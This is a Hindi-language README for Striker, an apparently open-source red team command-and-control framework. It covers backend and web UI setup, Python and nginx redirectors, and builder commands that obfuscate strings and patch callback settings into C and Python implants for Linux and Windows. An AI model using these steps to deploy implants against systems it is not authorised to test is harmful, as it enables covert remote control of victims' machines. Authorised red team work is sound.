
बहु-संचालक C2 फ्रेमवर्क जिसमें native C और Python एजेंट, HTTP(S) चैनल, asynchronous tasking, और red team संचालन के लिए reactive web UI शामिल है।
Striker एक सरल Command and Control (C2) प्रोग्राम है।


यह परियोजना सक्रिय विकास के अंतर्गत है। अधिकांश विशेषताएँ प्रायोगिक हैं, और आगे और भी आने वाली हैं। ब्रेकिंग चेंजेस की अपेक्षा करें।
A) एजेंट
B) बैकएंड / टीमसर्वर
C) यूज़र इंटरफ़ेस
रिपॉजिटरी क्लोन करें;
$ git clone https://github.com/4g3nt47/Striker.git
$ cd Striker
कोडबेस 4 स्वतंत्र खंडों में विभाजित है;
यह ऑपरेटरों और एजेंटों दोनों के लिए सर्वर-साइड लॉजिक को संभालता है। यह निम्नलिखित के साथ बनाया गया एक NodeJS एप्लिकेशन है;
express - REST API के लिए।socket.io - वेब सॉकेट संचार के लिए।mongoose - MongoDB से कनेक्ट करने के लिए।multer - फ़ाइल अपलोड को संभालने के लिए।bcrypt - उपयोगकर्ता पासवर्ड को हैश करने के लिए।स्रोत कोड backend/ निर्देशिका में है। सर्वर सेटअप करने के लिए;
Striker सभी महत्वपूर्ण डेटा को स्टोर करने के लिए बैकएंड डेटाबेस के रूप में MongoDB का उपयोग करता है। आप इसे डेबियन-आधारित डिस्ट्रो के लिए इस गाइड का उपयोग करके अपनी मशीन पर स्थानीय रूप से इंस्टॉल कर सकते हैं, या MongoDB Atlas (एक डेटाबेस-एज़-ए-सर्विस प्लेटफ़ॉर्म) के साथ एक मुफ्त डेटाबेस बना सकते हैं।
$ cd backend
$ npm install
$ mkdir static
आप इस फ़ोल्डर का उपयोग सर्वर पर स्थिर फ़ाइलों को होस्ट करने के लिए कर सकते हैं। यह वह स्थान भी होना चाहिए जहाँ आपका UPLOAD_LOCATION .env फ़ाइल में सेट है (इस पर बाद में और अधिक), लेकिन यह आवश्यक नहीं है। इस निर्देशिका में फ़ाइलें /static/ पथ के अंतर्गत सार्वजनिक रूप से सुलभ होंगी।
.env फ़ाइल बनाएं;नोट: < और > के बीच के मान प्लेसहोल्डर हैं। उन्हें उपयुक्त मानों से बदलें (<> सहित)। उन फ़ील्ड्स के लिए जिनमें रैंडम स्ट्रिंग की आवश्यकता है, आप इसे आसानी से निम्नलिखित का उपयोग करके जनरेट कर सकते हैं;
$ head -c 100 /dev/urandom | sha256sum
DB_URL=<your MongoDB connection URL>
HOST=<host to listen on (default: 127.0.0.1)>
PORT=<port to listen on (default: 3000)>
SECRET=<random string to use for signing session cookies and encrypting session data>
ORIGIN_URL=<full URL of the server you will be hosting the frontend at. Used to setup CORS>
REGISTRATION_KEY=<random string to use for authentication during signup>
MAX_UPLOAD_SIZE=<max file upload size, in bytes>
UPLOAD_LOCATION=<directory to store uploaded files to (default: static)>
SSL_KEY=<your SSL key file (optional)>
SSL_CERT=<your SSL cert file (optional)>
ध्यान दें कि SSL_KEY और SSL_CERT वैकल्पिक हैं। यदि कोई परिभाषित नहीं है, तो एक सादा HTTP सर्वर बनाया जाएगा। यह उसी होस्ट पर SSL-सक्षम रिवर्स प्रॉक्सी के पीछे सर्वर चलाने पर अनावश्यक ओवरहेड से बचने में मदद करता है।
$ node index.js
[12:45:30 PM] Connecting to backend database...
[12:45:31 PM] Starting HTTP server...
[12:45:31 PM] Server started on port: 3000
यह ऑपरेटरों द्वारा उपयोग किया जाने वाला वेब UI है। यह Svelte में लिखा गया एक सिंगल पेज वेब एप्लिकेशन है, और स्रोत कोड frontend/ निर्देशिका में है।
फ्रंटएंड सेटअप करने के लिए;
$ cd frontend
$ npm install
VITE_STRIKER_API वेरिएबल के साथ एक .env फ़ाइल बनाएं जो ऊपर कॉन्फ़िगर किए गए C2 सर्वर का पूरा URL सेट हो;VITE_STRIKER_API=https://c2.striker.local
$ npm run build
उपरोक्त सब कुछ dist/ निर्देशिका में एक स्थिर वेब एप्लिकेशन में संकलित करेगा। आप सभी फ़ाइलों को अपने वेब सर्वर की वेब रूट में ले जा सकते हैं, या इसे पायथन के बुनियादी HTTP सर्वर जैसे सर्वर के साथ भी होस्ट कर सकते हैं;
$ cd dist
$ python3 -m http.server 8000
Register बटन पर क्लिक करें।backend/.env में REGISTRATION_KEY देखें)यह एक मानक उपयोगकर्ता खाता बनाएगा। कुछ सुविधाओं तक पहुँचने के लिए आपको एक व्यवस्थापक खाते की आवश्यकता होगी। आपका पहला व्यवस्थापक खाता मैन्युअल रूप से बनाया जाना चाहिए, उसके बाद आप वेब UI के Users टैब में अन्य खातों को अपग्रेड और डाउनग्रेड कर सकते हैं।
अपना पहला व्यवस्थापक खाता बनाने के लिए;
users कलेक्शन को अपडेट करें और लक्ष्य उपयोगकर्ता के admin फ़ील्ड को true पर सेट करें;आप इसे करने के विभिन्न तरीके हैं। यदि आपके CLI में mongo उपलब्ध है, तो आप इसका उपयोग करके कर सकते हैं;
$ mongo <your MongoDB connection URL>
> db.users.updateOne({username: "<your username>"}, {$set: {admin: true}})
यदि यह काम करता है तो आपको निम्नलिखित प्रतिक्रिया मिलनी चाहिए;
{ "acknowledged" : true, "matchedCount" : 1, "modifiedCount" : 1 }
अब आप लॉगिन कर सकते हैं :)
A) डंब पाइप रिडायरेक्शन
Striker के लिए लिखा गया एक डंब पाइप रिडायरेक्टर redirector/redirector.py पर उपलब्ध है। जाहिर है, यह केवल सादे HTTP ट्रैफ़िक के लिए काम करेगा, या HTTPS के लिए जब SSL सत्यापन अक्षम हो (आप C एजेंट में INSECURE_SSL मैक्रो को सक्षम करके ऐसा कर सकते हैं)।
निम्नलिखित उदाहरण सभी इंटरफेस पर पोर्ट 443 पर सुनता है और c2.example.org पर पोर्ट 443 पर अग्रेषित करता है;
$ cd redirector
$ ./redirector.py 0.0.0.0:443 c2.example.org:443
[*] Starting redirector on 0.0.0.0:443...
[+] Listening for connections...
B) Nginx रिवर्स प्रॉक्सी रिडायरेक्टर के रूप में
$ sudo apt install nginx
/etc/nginx/sites-available/striker);प्लेसहोल्डर;
<domain-name> - यह आपके सर्वर का FQDN है, और इसे आपके SSL प्रमाणपत्र से मेल खाना चाहिए।<ssl-cert> - उपयोग करने के लिए SSL प्रमाणपत्र फ़ाइल।<ssl-key> - उपयोग करने के लिए SSL कुंजी फ़ाइल।<c2-server> - अनुरोधों को अग्रेषित करने के लिए C2 सर्वर का पूरा URL।चेतावनी: client_max_body_size आपकी backend/.env फ़ाइल में MAX_UPLOAD_SIZE द्वारा परिभाषित आकार जितना बड़ा होना चाहिए, अन्यथा बड़ी फ़ाइलों के अपलोड विफल हो जाएंगे।
server {
listen 443 ssl;
server_name <domain-name>;
ssl_certificate <ssl-cert>;
ssl_certificate_key <ssl-key>;
client_max_body_size 100M;
access_log /var/log/nginx/striker.log;
location / {
proxy_pass <c2-server>;
proxy_redirect off;
proxy_ssl_verify off;
proxy_read_timeout 90;
proxy_http_version 1.0;
proxy_set_header Upgrade $http_upgrade;
proxy_set_header Connection "upgrade";
proxy_set_header Host $host;
proxy_set_header X-Real-IP $remote_addr;
proxy_set_header X-Forwarded-For $proxy_add_x_forwarded_for;
}
}
$ sudo ln -s /etc/nginx/sites-available/striker /etc/nginx/sites-enabled/striker
$ sudo service nginx restart
आपका रिडायरेक्टर अब पोर्ट 443 पर चालू और चल रहा होना चाहिए, और इसका परीक्षण निम्नलिखित का उपयोग करके किया जा सकता है (मान लें कि आपका FQDN striker.local है);
$ curl https://striker.local
यदि यह काम करता है, तो आपको बैकएंड द्वारा उपयोग किया जाने वाला 404 प्रतिक्रिया मिलनी चाहिए, जैसे;
{"error":"Invalid route!"}
A) C एजेंट
ये स्ट्राइकर द्वारा उपयोग किए जाने वाले इम्प्लांट हैं। प्राथमिक एजेंट C में लिखा गया है, और agent/C/ में स्थित है। यह लिनक्स और विंडोज दोनों होस्ट का समर्थन करता है। लिनक्स एजेंट बाहरी रूप से libcurl पर निर्भर करता है, जो आपको अधिकांश सिस्टम में इंस्टॉल मिलेगा।
विंडोज एजेंट की कोई बाहरी निर्भरता नहीं है। यह संचार के लिए wininet का उपयोग करता है, जो मेरा मानना है कि सभी विंडोज होस्ट पर उपलब्ध है।
मान लें कि आप 64 बिट होस्ट पर हैं, निम्नलिखित 64 होस्ट के लिए बिल्ड करेगा;
$ cd agent/C
$ mkdir bin
$ make
64 पर 32 बिट के लिए बिल्ड करने के लिए;
$ sudo apt install gcc-multilib
$ make arch=32
उपरोक्त सब कुछ bin/ निर्देशिका में संकलित करता है। कार्यशील इम्प्लांट जनरेट करने के लिए आपको केवल दो फ़ाइलों की आवश्यकता होगी;
bin/stub - यह एजेंट स्टब है जो कार्यशील इम्प्लांट जनरेट करने के लिए टेम्पलेट के रूप में उपयोग किया जाएगा।bin/builder - यह वह है जिसका उपयोग आप कार्यशील इम्प्लांट जनरेट करने के लिए एजेंट स्टब को पैच करने में करेंगे।बिल्डर निम्नलिखित तर्क स्वीकार करता है;
$ ./bin/builder
[-] Usage: ./bin/builder <url> <auth_key> <delay> <stub> <outfile>
जहाँ;
<url> - रिपोर्ट करने के लिए सर्वर। यह आदर्श रूप से एक रिडायरेक्टर होना चाहिए, लेकिन सर्वर का सीधा URL भी काम करेगा।<auth_key> - C2 से कनेक्ट करते समय उपयोग करने के लिए प्रमाणीकरण कुंजी। आप इसे वेब UI के auth keys टैब में बना सकते हैं।<delay> - प्रत्येक कॉलबैक के बीच विलंब, सेकंड में। यह कम से कम 2 होना चाहिए, यह इस बात पर निर्भर करता है कि आप इसे कितना शोर करना चाहते हैं।<stub> - पढ़ने के लिए स्टब फ़ाइल, इस मामले में bin/stub।<outfile> - नए इम्प्लांट का आउटपुट फ़ाइल नाम।उदाहरण;
$ ./bin/builder https://localhost:3000 979a9d5ace15653f8ffa9704611612fc 5 bin/stub bin/striker
[*] Obfuscating strings...
[+] 69 strings obfuscated :)
[*] Finding offsets of our markers...
[+] Offsets:
URL: 0x0000a2e0
OBFS Key: 0x0000a280
Auth Key: 0x0000a2a0
Delay: 0x0000a260
[*] Patching...
[+] Operation completed!
इसके लिए आपको MinGW की आवश्यकता होगी। निम्नलिखित 32 और 64 बिट डेव विंडोज वातावरण स्थापित करेगा;
$ sudo apt install mingw-w64
64 बिट के लिए बिल्ड करें;
$ cd agent/C
$ mdkir bin
$ make target=win
32 बिट के लिए संकलित करने के लिए;
$ make target=win arch=32
यह सब कुछ bin/ निर्देशिका में संकलित करेगा, और आपके पास क्रमशः bin\stub.exe और bin\builder.exe के रूप में बिल्डर और स्टब होंगे।
B) पायथन एजेंट
स्ट्राइकर एक स्व-निहित पायथन एजेंट के साथ भी आता है (पायथन 2.7.16 और 3.7.3 पर परीक्षण किया गया)। यह agent/python/ पर स्थित है। इस एजेंट में केवल सबसे बुनियादी विशेषताएँ लागू की गई हैं। उन होस्ट के लिए उपयोगी जो C एजेंट नहीं चला सकते लेकिन पायथन स्थापित है।
इस निर्देशिका में 2 फ़ाइलें हैं;
stub.py - यह बिल्डर को पास करने के लिए पेलोड स्टब है।builder.py - यह वह है जिसका उपयोग आप एक इम्प्लांट जनरेट करने के लिए करेंगे।उपयोग उदाहरण:
$ ./builder.py
[-] Usage: builder.py <url> <auth_key> <delay> <stub> <outfile>
# The following will generate a working payload as `output.py`
$ ./builder.py http://localhost:3000 979a9d5ace15653f8ffa9704611612fc 2 stub.py output.py
[*] Loading agent stub...
[*] Writing configs...
[+] Agent built successfully: output.py
# Run it
$ python3 output.py
उपरोक्त निर्देशों का पालन करने के बाद, Striker अब उपयोग के लिए तैयार होना चाहिए। कृपया उपयोग गाइड देखें। मज़े करें, और हैप्पी हैकिंग!
यदि आपको यह परियोजना पसंद है, तो मेरी कॉफी को कोड में बदलने में मदद करने पर विचार करें!